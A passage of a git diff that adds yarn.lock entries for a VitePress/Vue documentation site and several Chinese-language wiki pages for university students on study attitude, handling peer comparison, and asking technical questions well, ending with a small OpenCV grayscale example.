+  integrity sha512-kvjQ6nmsqTp7SrmpwI2G0MgbC4ys0bPsgQirHXJM8y1m7siQ5RnWQUHJVfyUrHNguCySW1cevAdIw87zrPTl9g==
+  dependencies:
+    "@vue/devtools-kit" "^7.3.7"
+
+"@vue/devtools-kit@^7.3.7":
+  version "7.3.7"
+  resolved "https://registry.npmmirror.com/@vue/devtools-kit/-/devtools-kit-7.3.7.tgz#c1c19d427e3b457cf91305c86ae2e6a58830442b"
+  integrity sha512-ktHhhjI4CoUrwdSUF5b/MFfjrtAtK8r4vhOkFyRN5Yp9kdXTwsRBYcwarHuP+wFPKf4/KM7DVBj2ELO8SBwdsw==
+  dependencies:
+    "@vue/devtools-shared" "^7.3.7"
+    birpc "^0.2.17"
+    hookable "^5.5.3"
+    mitt "^3.0.1"
+    perfect-debounce "^1.0.0"
+    speakingurl "^14.0.1"
+    superjson "^2.2.1"
+
+"@vue/devtools-shared@^7.3.7":
+  version "7.3.7"
+  resolved "https://registry.npmmirror.com/@vue/devtools-shared/-/devtools-shared-7.3.7.tgz#765d2e0e4d3def891cdead22ef2a373d1d1f4df0"
+  integrity sha512-M9EU1/bWi5GNS/+IZrAhwGOVZmUTN4MH22Hvh35nUZZg9AZP2R2OhfCb+MG4EtAsrUEYlu3R43/SIj3G7EZYtQ==
+  dependencies:
+    rfdc "^1.4.1"
+
+"@vue/reactivity@3.4.37":
+  version "3.4.37"
+  resolved "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.4.37.tgz#5a199563eaab51ed9f94ddf0a82f9179bcc01676"
+  integrity sha512-UmdKXGx0BZ5kkxPqQr3PK3tElz6adTey4307NzZ3whZu19i5VavYal7u2FfOmAzlcDVgE8+X0HZ2LxLb/jgbYw==
+  dependencies:
+    "@vue/shared" "3.4.37"
+
+"@vue/runtime-core@3.4.37":
+  version "3.4.37"
+  resolved "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.4.37.tgz#3fe734a666db7842bea4185a13f7697a2102b719"
+  integrity sha512-MNjrVoLV/sirHZoD7QAilU1Ifs7m/KJv4/84QVbE6nyAZGQNVOa1HGxaOzp9YqCG+GpLt1hNDC4RbH+KtanV7w==
+  dependencies:
+    "@vue/reactivity" "3.4.37"
+    "@vue/shared" "3.4.37"
+
+"@vue/runtime-dom@3.4.37":
+  version "3.4.37"
+  resolved "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.4.37.tgz#219f84577027103de6ddc71351d8237c7c16adac"
+  integrity sha512-Mg2EwgGZqtwKrqdL/FKMF2NEaOHuH+Ks9TQn3DHKyX//hQTYOun+7Tqp1eo0P4Ds+SjltZshOSRq6VsU0baaNg==
+  dependencies:
+    "@vue/reactivity" "3.4.37"
+    "@vue/runtime-core" "3.4.37"
+    "@vue/shared" "3.4.37"
+    csstype "^3.1.3"
+
+"@vue/server-renderer@3.4.37":
+  version "3.4.37"
+  resolved "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.4.37.tgz#d341425bb5395a3f6ed70572ea5c3edefab92f28"
+  integrity sha512-jZ5FAHDR2KBq2FsRUJW6GKDOAG9lUTX8aBEGq4Vf6B/35I9fPce66BornuwmqmKgfiSlecwuOb6oeoamYMohkg==
+  dependencies:
+    "@vue/compiler-ssr" "3.4.37"
+    "@vue/shared" "3.4.37"
+
+"@vue/shared@3.4.37", "@vue/shared@^3.4.31":
+  version "3.4.37"
+  resolved "https://registry.npmmirror.com/@vue/shared/-/shared-3.4.37.tgz#4f4c08a2e73da512a77b47165cf59ffbc1b5ade8"
+  integrity sha512-nIh8P2fc3DflG8+5Uw8PT/1i17ccFn0xxN/5oE9RfV5SVnd7G0XEFRwakrnNFE/jlS95fpGXDVG5zDETS26nmg==
+
+"@vueuse/core@10.11.1", "@vueuse/core@^10.11.0":
+  version "10.11.1"
+  resolved "https://registry.npmmirror.com/@vueuse/core/-/core-10.11.1.tgz#15d2c0b6448d2212235b23a7ba29c27173e0c2c6"
+  integrity sha512-guoy26JQktXPcz+0n3GukWIy/JDNKti9v6VEMu6kV2sYBsWuGiTU8OWdg+ADfUbHg3/3DlqySDe7JmdHrktiww==
+  dependencies:
+    "@types/web-bluetooth" "^0.0.20"
+    "@vueuse/metadata" "10.11.1"
+    "@vueuse/shared" "10.11.1"
+    vue-demi ">=0.14.8"
+
+"@vueuse/integrations@^10.11.0":
+  version "10.11.1"
+  resolved "https://registry.npmmirror.com/@vueuse/integrations/-/integrations-10.11.1.tgz#e4af23b871773c5ef5b8fb939f959f2fc728557e"
+  integrity sha512-Y5hCGBguN+vuVYTZmdd/IMXLOdfS60zAmDmFYc4BKBcMUPZH1n4tdyDECCPjXm0bNT3ZRUy1xzTLGaUje8Xyaw==
+  dependencies:
+    "@vueuse/core" "10.11.1"
+    "@vueuse/shared" "10.11.1"
+    vue-demi ">=0.14.8"
+
+"@vueuse/metadata@10.11.1":
+  version "10.11.1"
+  resolved "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-10.11.1.tgz#209db7bb5915aa172a87510b6de2ca01cadbd2a7"
+  integrity sha512-IGa5FXd003Ug1qAZmyE8wF3sJ81xGLSqTqtQ6jaVfkeZ4i5kS2mwQF61yhVqojRnenVew5PldLyRgvdl4YYuSw==
+
+"@vueuse/shared@10.11.1":
+  version "10.11.1"
+  resolved "https://registry.npmmirror.com/@vueuse/shared/-/shared-10.11.1.tgz#62b84e3118ae6e1f3ff38f4fbe71b0c5d0f10938"
+  integrity sha512-LHpC8711VFZlDaYUXEBbFBCQ7GS3dVU9mjOhhMhXP6txTV4EhYQg/KGnQuvt/sPAtoUKq7VVUnL6mVtFoL42sA==
+  dependencies:
+    vue-demi ">=0.14.8"
+
+algoliasearch@^4.19.1:
+  version "4.24.0"
+  resolved "https://registry.npmmirror.com/algoliasearch/-/algoliasearch-4.24.0.tgz#b953b3e2309ef8f25da9de311b95b994ac918275"
+  integrity sha512-bf0QV/9jVejssFBmz2HQLxUadxk574t4iwjCKp5E7NBzwKkrDEhKPISIIjAU/p6K5qDx3qoeh4+26zWN1jmw3g==
+  dependencies:
+    "@algolia/cache-browser-local-storage" "4.24.0"
+    "@algolia/cache-common" "4.24.0"
+    "@algolia/cache-in-memory" "4.24.0"
+    "@algolia/client-account" "4.24.0"
+    "@algolia/client-analytics" "4.24.0"
+    "@algolia/client-common" "4.24.0"
+    "@algolia/client-personalization" "4.24.0"
+    "@algolia/client-search" "4.24.0"
+    "@algolia/logger-common" "4.24.0"
+    "@algolia/logger-console" "4.24.0"
+    "@algolia/recommend" "4.24.0"
+    "@algolia/requester-browser-xhr" "4.24.0"
+    "@algolia/requester-common" "4.24.0"
+    "@algolia/requester-node-http" "4.24.0"
+    "@algolia/transporter" "4.24.0"
+
+birpc@^0.2.17:
+  version "0.2.17"
+  resolved "https://registry.npmmirror.com/birpc/-/birpc-0.2.17.tgz#d0bdb90d4d063061156637f03b7b0adea1779734"
+  integrity sha512-+hkTxhot+dWsLpp3gia5AkVHIsKlZybNT5gIYiDlNzJrmYPcTM9k5/w2uaj3IPpd7LlEYpmCj4Jj1nC41VhDFg==
+
+copy-anything@^3.0.2:
+  version "3.0.5"
+  resolved "https://registry.npmmirror.com/copy-anything/-/copy-anything-3.0.5.tgz#2d92dce8c498f790fa7ad16b01a1ae5a45b020a0"
+  integrity sha512-yCEafptTtb4bk7GLEQoM8KVJpxAfdBJYaXyzQEgQQQgYrZiDp8SJmGKlYza6CYjEDNstAdNdKA3UuoULlEbS6w==
+  dependencies:
+    is-what "^4.1.8"
+
+csstype@^3.1.3:
+  version "3.1.3"
+  resolved "https://registry.npmmirror.com/csstype/-/csstype-3.1.3.tgz#d80ff294d114fb0e6ac500fbf85b60137d7eff81"
+  integrity sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==
+
+entities@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.npmmirror.com/entities/-/entities-5.0.0.tgz#b2ab51fe40d995817979ec79dd621154c3c0f62b"
+  integrity sha512-BeJFvFRJddxobhvEdm5GqHzRV/X+ACeuw0/BuuxsCh1EUZcAIz8+kYmBp/LrQuloy6K1f3a0M7+IhmZ7QnkISA==
+
+esbuild@^0.21.3:
+  version "0.21.5"
+  resolved "https://registry.npmmirror.com/esbuild/-/esbuild-0.21.5.tgz#9ca301b120922959b766360d8ac830da0d02997d"
+  integrity sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==
+  optionalDependencies:
+    "@esbuild/aix-ppc64" "0.21.5"
+    "@esbuild/android-arm" "0.21.5"
+    "@esbuild/android-arm64" "0.21.5"
+    "@esbuild/android-x64" "0.21.5"
+    "@esbuild/darwin-arm64" "0.21.5"
+    "@esbuild/darwin-x64" "0.21.5"
+    "@esbuild/freebsd-arm64" "0.21.5"
+    "@esbuild/freebsd-x64" "0.21.5"
+    "@esbuild/linux-arm" "0.21.5"
+    "@esbuild/linux-arm64" "0.21.5"
+    "@esbuild/linux-ia32" "0.21.5"
+    "@esbuild/linux-loong64" "0.21.5"
+    "@esbuild/linux-mips64el" "0.21.5"
+    "@esbuild/linux-ppc64" "0.21.5"
+    "@esbuild/linux-riscv64" "0.21.5"
+    "@esbuild/linux-s390x" "0.21.5"
+    "@esbuild/linux-x64" "0.21.5"
+    "@esbuild/netbsd-x64" "0.21.5"
+    "@esbuild/openbsd-x64" "0.21.5"
+    "@esbuild/sunos-x64" "0.21.5"
+    "@esbuild/win32-arm64" "0.21.5"
+    "@esbuild/win32-ia32" "0.21.5"
+    "@esbuild/win32-x64" "0.21.5"
+
+estree-walker@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz#52f010178c2a4c117a7757cfe942adb7d2da4cac"
+  integrity sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==
+
+focus-trap@^7.5.4:
+  version "7.5.4"
+  resolved "https://registry.npmmirror.com/focus-trap/-/focus-trap-7.5.4.tgz#6c4e342fe1dae6add9c2aa332a6e7a0bbd495ba2"
+  integrity sha512-N7kHdlgsO/v+iD/dMoJKtsSqs5Dz/dXZVebRgJw23LDk+jMi/974zyiOYDziY2JPp8xivq9BmUGwIJMiuSBi7w==
+  dependencies:
+    tabbable "^6.2.0"
+
+fsevents@~2.3.2, fsevents@~2.3.3:
+  version "2.3.3"
+  resolved "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz#cac6407785d03675a2a5e1a5305c697b347d90d6"
+  integrity sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==
+
+hookable@^5.5.3:
+  version "5.5.3"
+  resolved "https://registry.npmmirror.com/hookable/-/hookable-5.5.3.tgz#6cfc358984a1ef991e2518cb9ed4a778bbd3215d"
+  integrity sha512-Yc+BQe8SvoXH1643Qez1zqLRmbA5rCL+sSmk6TVos0LWVfNIB7PGncdlId77WzLGSIB5KaWgTaNTs2lNVEI6VQ==
+
+husky@^9.1.4:
+  version "9.1.4"
+  resolved "https://registry.npmmirror.com/husky/-/husky-9.1.4.tgz#926fd19c18d345add5eab0a42b2b6d9a80259b34"
+  integrity sha512-bho94YyReb4JV7LYWRWxZ/xr6TtOTt8cMfmQ39MQYJ7f/YE268s3GdghGwi+y4zAeqewE5zYLvuhV0M0ijsDEA==
+
+is-what@^4.1.8:
+  version "4.1.16"
+  resolved "https://registry.npmmirror.com/is-what/-/is-what-4.1.16.tgz#1ad860a19da8b4895ad5495da3182ce2acdd7a6f"
+  integrity sha512-ZhMwEosbFJkA0YhFnNDgTM4ZxDRsS6HqTo7qsZM08fehyRYIYa0yHu5R6mgo1n/8MgaPBXiPimPD77baVFYg+A==
+
+magic-string@^0.30.10:
+  version "0.30.11"
+  resolved "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.11.tgz#301a6f93b3e8c2cb13ac1a7a673492c0dfd12954"
+  integrity sha512-+Wri9p0QHMy+545hKww7YAu5NyzF8iomPL/RQazugQ9+Ez4Ic3mERMd8ZTX5rfK944j+560ZJi8iAwgak1Ac7A==
+  dependencies:
+    "@jridgewell/sourcemap-codec" "^1.5.0"
+
+mark.js@8.11.1:
+  version "8.11.1"
+  resolved "https://registry.npmmirror.com/mark.js/-/mark.js-8.11.1.tgz#180f1f9ebef8b0e638e4166ad52db879beb2ffc5"
+  integrity sha512-1I+1qpDt4idfgLQG+BNWmrqku+7/2bi5nLf4YwF8y8zXvmfiTBY3PV3ZibfrjBueCByROpuBjLLFCajqkgYoLQ==
+
+minisearch@^7.0.0:
+  version "7.1.0"
+  resolved "https://registry.npmmirror.com/minisearch/-/minisearch-7.1.0.tgz#f5830e9109b5919ee7b291c29a304f381aa68770"
+  integrity sha512-tv7c/uefWdEhcu6hvrfTihflgeEi2tN6VV7HJnCjK6VxM75QQJh4t9FwJCsA2EsRS8LCnu3W87CuGPWMocOLCA==
+
+mitt@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.npmmirror.com/mitt/-/mitt-3.0.1.tgz#ea36cf0cc30403601ae074c8f77b7092cdab36d1"
+  integrity sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==
+
+nanoid@^3.3.7:
+  version "3.3.7"
+  resolved "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.7.tgz#d0c301a691bc8d54efa0a2226ccf3fe2fd656bd8"
+  integrity sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==
+
+perfect-debounce@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmmirror.com/perfect-debounce/-/perfect-debounce-1.0.0.tgz#9c2e8bc30b169cc984a58b7d5b28049839591d2a"
+  integrity sha512-xCy9V055GLEqoFaHoC1SoLIaLmWctgCUaBaWxDZ7/Zx4CTyX7cJQLJOok/orfjZAh9kEYpjJa4d0KcJmCbctZA==
+
+picocolors@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmmirror.com/picocolors/-/picocolors-1.0.1.tgz#a8ad579b571952f0e5d25892de5445bcfe25aaa1"
+  integrity sha512-anP1Z8qwhkbmu7MFP5iTt+wQKXgwzf7zTyGlcdzabySa9vd0Xt392U0rVmz9poOaBj0uHJKyyo9/upk0HrEQew==
+
+postcss@^8.4.40:
+  version "8.4.41"
+  resolved "https://registry.npmmirror.com/postcss/-/postcss-8.4.41.tgz#d6104d3ba272d882fe18fc07d15dc2da62fa2681"
+  integrity sha512-TesUflQ0WKZqAvg52PWL6kHgLKP6xB6heTOdoYM0Wt2UHyxNa4K25EZZMgKns3BH1RLVbZCREPpLY0rhnNoHVQ==
+  dependencies:
+    nanoid "^3.3.7"
+    picocolors "^1.0.1"
+    source-map-js "^1.2.0"
+
+preact@^10.0.0:
+  version "10.23.1"
+  resolved "https://registry.npmmirror.com/preact/-/preact-10.23.1.tgz#d400107289bc979881c5212cb5f5cd22cd1dc38c"
+  integrity sha512-O5UdRsNh4vdZaTieWe3XOgSpdMAmkIYBCT3VhQDlKrzyCm8lUYsk0fmVEvoQQifoOjFRTaHZO69ylrzTW2BH+A==
+
+rfdc@^1.4.1:
+  version "1.4.1"
+  resolved "https://registry.npmmirror.com/rfdc/-/rfdc-1.4.1.tgz#778f76c4fb731d93414e8f925fbecf64cce7f6ca"
+  integrity sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==
+
+rollup@^4.13.0:
+  version "4.20.0"
+  resolved "https://registry.npmmirror.com/rollup/-/rollup-4.20.0.tgz#f9d602161d29e178f0bf1d9f35f0a26f83939492"
+  integrity sha512-6rbWBChcnSGzIlXeIdNIZTopKYad8ZG8ajhl78lGRLsI2rX8IkaotQhVas2Ma+GPxJav19wrSzvRvuiv0YKzWw==
+  dependencies:
+    "@types/estree" "1.0.5"
+  optionalDependencies:
+    "@rollup/rollup-android-arm-eabi" "4.20.0"
+    "@rollup/rollup-android-arm64" "4.20.0"
+    "@rollup/rollup-darwin-arm64" "4.20.0"
+    "@rollup/rollup-darwin-x64" "4.20.0"
+    "@rollup/rollup-linux-arm-gnueabihf" "4.20.0"
+    "@rollup/rollup-linux-arm-musleabihf" "4.20.0"
+    "@rollup/rollup-linux-arm64-gnu" "4.20.0"
+    "@rollup/rollup-linux-arm64-musl" "4.20.0"
+    "@rollup/rollup-linux-powerpc64le-gnu" "4.20.0"
+    "@rollup/rollup-linux-riscv64-gnu" "4.20.0"
+    "@rollup/rollup-linux-s390x-gnu" "4.20.0"
+    "@rollup/rollup-linux-x64-gnu" "4.20.0"
+    "@rollup/rollup-linux-x64-musl" "4.20.0"
+    "@rollup/rollup-win32-arm64-msvc" "4.20.0"
+    "@rollup/rollup-win32-ia32-msvc" "4.20.0"
+    "@rollup/rollup-win32-x64-msvc" "4.20.0"
+    fsevents "~2.3.2"
+
+shiki@1.12.1, shiki@^1.10.3:
+  version "1.12.1"
+  resolved "https://registry.npmmirror.com/shiki/-/shiki-1.12.1.tgz#72d9d230a8d68ddaf8cf7c94a1dc6a5f2625324e"
+  integrity sha512-nwmjbHKnOYYAe1aaQyEBHvQymJgfm86ZSS7fT8OaPRr4sbAcBNz7PbfAikMEFSDQ6se2j2zobkXvVKcBOm0ysg==
+  dependencies:
+    "@shikijs/core" "1.12.1"
+    "@types/hast" "^3.0.4"
+
+source-map-js@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.0.tgz#16b809c162517b5b8c3e7dcd315a2a5c2612b2af"
+  integrity sha512-itJW8lvSA0TXEphiRoawsCksnlf8SyvmFzIhltqAHluXd88pkCd+cXJVHTDwdCr0IzwptSm035IHQktUu1QUMg==
+
+speakingurl@^14.0.1:
+  version "14.0.1"
+  resolved "https://registry.npmmirror.com/speakingurl/-/speakingurl-14.0.1.tgz#f37ec8ddc4ab98e9600c1c9ec324a8c48d772a53"
+  integrity sha512-1POYv7uv2gXoyGFpBCmpDVSNV74IfsWlDW216UPjbWufNf+bSU6GdbDsxdcxtfwb4xlI3yxzOTKClUosxARYrQ==
+
+superjson@^2.2.1:
+  version "2.2.1"
+  resolved "https://registry.npmmirror.com/superjson/-/superjson-2.2.1.tgz#9377a7fa80fedb10c851c9dbffd942d4bcf79733"
+  integrity sha512-8iGv75BYOa0xRJHK5vRLEjE2H/i4lulTjzpUXic3Eg8akftYjkmQDa8JARQ42rlczXyFR3IeRoeFCc7RxHsYZA==
+  dependencies:
+    copy-anything "^3.0.2"
+
+tabbable@^6.2.0:
+  version "6.2.0"
+  resolved "https://registry.npmmirror.com/tabbable/-/tabbable-6.2.0.tgz#732fb62bc0175cfcec257330be187dcfba1f3b97"
+  integrity sha512-Cat63mxsVJlzYvN51JmVXIgNoUokrIaT2zLclCXjRd8boZ0004U4KCs/sToJ75C6sdlByWxpYnb5Boif1VSFew==
+
+to-fast-properties@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmmirror.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz#dc5e698cbd079265bc73e0377681a4e4e83f616e"
+  integrity sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==
+
+vite@^5.3.3:
+  version "5.4.0"
+  resolved "https://registry.npmmirror.com/vite/-/vite-5.4.0.tgz#11dca8a961369ba8b5cae42d068c7ad684d5370f"
+  integrity sha512-5xokfMX0PIiwCMCMb9ZJcMyh5wbBun0zUzKib+L65vAZ8GY9ePZMXxFrHbr/Kyll2+LSCY7xtERPpxkBDKngwg==
+  dependencies:
+    esbuild "^0.21.3"
+    postcss "^8.4.40"
+    rollup "^4.13.0"
+  optionalDependencies:
+    fsevents "~2.3.3"
+
+vitepress@^1.3.2:
+  version "1.3.2"
+  resolved "https://registry.npmmirror.com/vitepress/-/vitepress-1.3.2.tgz#06d73547ed52f5f059c01834bc698a85fedf7de0"
+  integrity sha512-6gvecsCuR6b1Cid4w19KQiQ02qkpgzFRqiG0v1ZBekGkrZCzsxdDD5y4WH82HRXAOhU4iZIpzA1CsWqs719rqA==
+  dependencies:
+    "@docsearch/css" "^3.6.0"
+    "@docsearch/js" "^3.6.0"
+    "@shikijs/core" "^1.10.3"
+    "@shikijs/transformers" "^1.10.3"
+    "@types/markdown-it" "^14.1.1"
+    "@vitejs/plugin-vue" "^5.0.5"
+    "@vue/devtools-api" "^7.3.5"
+    "@vue/shared" "^3.4.31"
+    "@vueuse/core" "^10.11.0"
+    "@vueuse/integrations" "^10.11.0"
+    focus-trap "^7.5.4"
+    mark.js "8.11.1"
+    minisearch "^7.0.0"
+    shiki "^1.10.3"
+    vite "^5.3.3"
+    vue "^3.4.31"
+
+vue-demi@>=0.14.8:
+  version "0.14.10"
+  resolved "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz#afc78de3d6f9e11bf78c55e8510ee12814522f04"
+  integrity sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg==
+
+vue@^3.4.31:
+  version "3.4.37"
+  resolved "https://registry.npmmirror.com/vue/-/vue-3.4.37.tgz#64ce0eeb8de16a29fb74e504777ee8c0c1cf229e"
+  integrity sha512-3vXvNfkKTBsSJ7JP+LyR7GBuwQuckbWvuwAid3xbqK9ppsKt/DUvfqgZ48fgOLEfpy1IacL5f8QhUVl77RaI7A==
+  dependencies:
+    "@vue/compiler-dom" "3.4.37"
+    "@vue/compiler-sfc" "3.4.37"
+    "@vue/runtime-dom" "3.4.37"
+    "@vue/server-renderer" "3.4.37"
+    "@vue/shared" "3.4.37"
diff --git a/使用指南.md b/使用指南.md
new file mode 100644
index 0000000..5f28270
--- /dev/null
+++ b/使用指南.md
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.1.1悲壮的学习方式.md b/技术资源汇总(杭电支持版)/2.高效学习/2.1.1悲壮的学习方式.md
new file mode 100644
index 0000000..f8d7aad
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.1.1悲壮的学习方式.md
@@ -0,0 +1,31 @@
+# 2.1.1 悲壮的学习方式
+
+## 现状
+
+::: tip
+
+引自上海交大生存指南
+
+[https://survivesjtu.gitbook.io/survivesjtumanual/li-zhi-pian/bei-zhuang-de-xue-xi-fang-shi](https://survivesjtu.gitbook.io/survivesjtumanual/li-zhi-pian/bei-zhuang-de-xue-xi-fang-shi)
+
+:::
+
+古人刻苦学习的故事，直到现在还在我们的身边不断上演。学生趴在山一样高的习题集边上苦苦奋斗，绝对是我校作为国内一流大学的亮丽的风景线。
+
+挖空心思研究解题技巧的学生们，与同样挖空心思研究出题技巧的老师们，构成了一个完美的圆环。在二者日复一日的机械劳动中，我只看到纸张、电力，以及粮食不断被浪费，却看不到中华之崛起。
+
+我无意全盘否定同学们吃苦耐劳的精神，但这份精神充其量只能称为悲壮。我们耗费了大量的时间和精力掌握的那些考点、技巧，在真正的知识殿堂里根本登不上大雅之堂。哪怕我们特征值求得再熟练，积分积得再复杂，中国的载人飞船也不会因此而顺利上天。
+
+## 解决
+
+学习的时候，不要有负担心理。很多同学在学习知识的时候带着一种学不完或者学不会我就上吊算了的心态，其实这是比较危险的一种精神状态。
+
+学东西并不是为了折磨我们的手段，而是我们用好奇心探索未知的一种体现形式。
+
+而且我们在学习某些你认为意义不大或者和你现在的知识体系关联不大的东西的时候，比如大家经常诟病的一些通识课以及大物模电，我们应该有更高的追求，而不是简单的背诵课本
+
+我们可以通过这些课程，来思考一下别的看待世界的角度和思考方式，或者通过一些通俗易懂的科普视频，去了解一下你感兴趣的点。
+
+比如说学习大物的时候浅浅研究深入一下相对论的历史和研究过程（？）你说不定会就此打开新世界的大门。
+
+总之，尽可能为未来的自己多留下一点东西吧！
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.1.2浮躁的心理状态.md b/技术资源汇总(杭电支持版)/2.高效学习/2.1.2浮躁的心理状态.md
new file mode 100644
index 0000000..57d8489
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.1.2浮躁的心理状态.md
@@ -0,0 +1,35 @@
+# 2.1.2 浮躁的心理状态
+
+## 现状
+
+> 我明明很努力了，但是就是学不懂，群里的同学好像啥都会 WOC
+>
+> 我周围的同学怎么参加竞赛的科研经历丰富的都有就我是废物呜呜呜
+>
+> 我的同学啥都有了但是我什么都没
+>
+> 为什么我室友都脱单了我还是单身狗
+
+浮躁，往往来源于和他人的比较是具有社会属性的我们的人之常情。
+
+然而，我们往往不能从中获得任何鼓励反而深受打击。
+
+## 解决方案
+
+如果我在这里说戒骄戒躁一定会被打的（逃）
+
+学不懂一门课程，大可不必着急，慢慢来，也可以问问学长学姐或者思考一下这门课到底为什么如此组织。
+
+多学会一个知识点，多掌握一点知识，现在的自己比以前好了就值得肯定。
+
+人生的道路还很长，不要因为刚出发的一点小小的劣势就否认最终到达终点的自己。
+
+很多时候我们这一代这么累，就是因为一直看着别人才磕磕绊绊的。
+
+从当下浮躁的集体价值观中走出来吧。看清脚下的路是更重要的事。
+
+人生的道路上有且仅有你一个人。
+
+如果实在不行，来找 ZZM 聊聊吧。
+
+![](https://cdn.xyxsw.site/boxcnPDWiNgkgppK1XWq5cRQ71b.jpg)
diff --git a/技术资源汇总(杭电支持版)/2.高效学习/2.1.3错误的提问姿态.md b/技术资源汇总(杭电支持版)/2.高效学习/2.1.3错误的提问姿态.md
new file mode 100644
index 0000000..d61bdb1
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/2.高效学习/2.1.3错误的提问姿态.md
@@ -0,0 +1,95 @@
+# 2.1.3 错误的提问姿态
+
+## 现状
+
+我们假定一个情况，如果你是一个医生，患者过来告诉你，我浑身都疼，医生我该怎么办啊。
+
+然后你要慢慢询问他的问题，接着你要问各种问题各种检查然后去看，如果有十个人一百个人都这么问，你肯定会受不了的吧。
+
+事实上，如果希望能提高得到回答的概率，提问者应该学会如何更好地提问。换句话说，提问者应该去积极思考 "我可以主动做些什么来让对方更方便地帮助我诊断问题".
+
+如果你的提问方式非常不专业，很可能没有人愿意关注你的问题，因为这不仅让人觉得你随便提的问题没那么重要，而且大家也不愿意花费大量的时间向你来回地咨询。
+
+<Bilibili bvid='BV1om4y1H71S'/>
+
+## 解决
+
+一种非常合适的提问方式是：
+
+我在写 xxx 的时候遇到了 xxx 的错误（请发截图不要复制粘贴）
+
+我的版本是 XXX，官方文档给的版本是 XXX
+
+我做了这个来试着修正（贴图）根据的是 XXX 上的方法
+
+然后出现了 XXX
+
+···········
+
+最后我做的尝试是 XXX
+
+问题还是没有解决，现在我该怎么做？
+
+![](https://cdn.xyxsw.site/boxcnhuhE7qBLHyJKaesHGC033b.png)
+
+### 关于截图
+
+如果你在问问题的时候掏出一张手机拍电脑🤳🖥️的图片，那么大概率会让想要帮助你解决问题的学长血压升高然后放弃回答你的问题。
+
+除非遇到一些特殊情况（例如你的电脑进 BIOS 了），只能手机拍照，也请保证图片清晰便于识别。
+
+![](https://cdn.xyxsw.site/2-1-3-2.jpg)
+
+在 wiki 的[2.2 优雅的使用工具](2.2优雅的使用工具.md)，有推荐一些好用开源的截图工具
+
+不过一般情况来说，Windows 的组合键`Win+Shift+S`截屏，在任意窗口按下这个组合键便可进入截屏模式，按住鼠标左键拖动框选区域即可截屏，使用`Ctrl+V`操作将截屏内容粘贴到想要保存的地方；如果已经登录了 QQ，那么 QQ 的截图快捷键默认是`Ctrl+Alt+A`，同样使用`Ctrl+V`粘贴截屏内容。
+
+ps:QQ 有长截图的功能，妈妈再也不用担心我不会滚动捕捉了！
+
+记住这两个快捷键已经足够满足你对截图的 90% 的需求了
+
+### 橡皮鸭
+
+> 来自伯克利大学的学习建议
+◑
+当遇到问题时，除了截图外，试着组织语言来解释你遇到困难的地方。
+
+![](https://cdn.xyxsw.site/2-1-3-1.jpg)
+
+**这并不需要一个找到懂得如何解决问题的人 (或者甚至是一个人 —— 这种做法通常被称为橡皮鸭，因为你可以把一只橡皮鸭当作你的练习对象) ，因为主要目标是让你弄清楚你自己的想法，弄清楚你的理解和代码到底在哪里卡住了。这样你可以知道应该专注于哪一部分，以便更好地理解。**
+
+### 欢迎大家阅读
+
+[Stop-Ask-Questions-The-Stupid-Ways](https://github.com/tangx/Stop-Ask-Questions-The-Stupid-Ways/blob/master/README.md) 别像弱智一样提问
+
+[How-To-Ask-Questions-The-Smart-Way](https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md) 提问的智慧
+
+## 关于如何搜索代码
+
+如果我现在想要把图片读取并转换成灰度图，我该怎么去搜索呢？
+
+首先，我打算使用 python，所以我会搜索：“python 图片转灰度图”
+
+以下是我从搜索到的博客中找到的代码：
+
+```python
+import cv2 as cv
+img = cv.imread('lbxx.jpg',1)
+img_1 = cv.cvtColor(img,cv.COLOR_BGR2GRAY)
+cv.imshow('gray',img_1)
+cv.imshow('colour',img)
+cv.waitKey(0)
+```
+
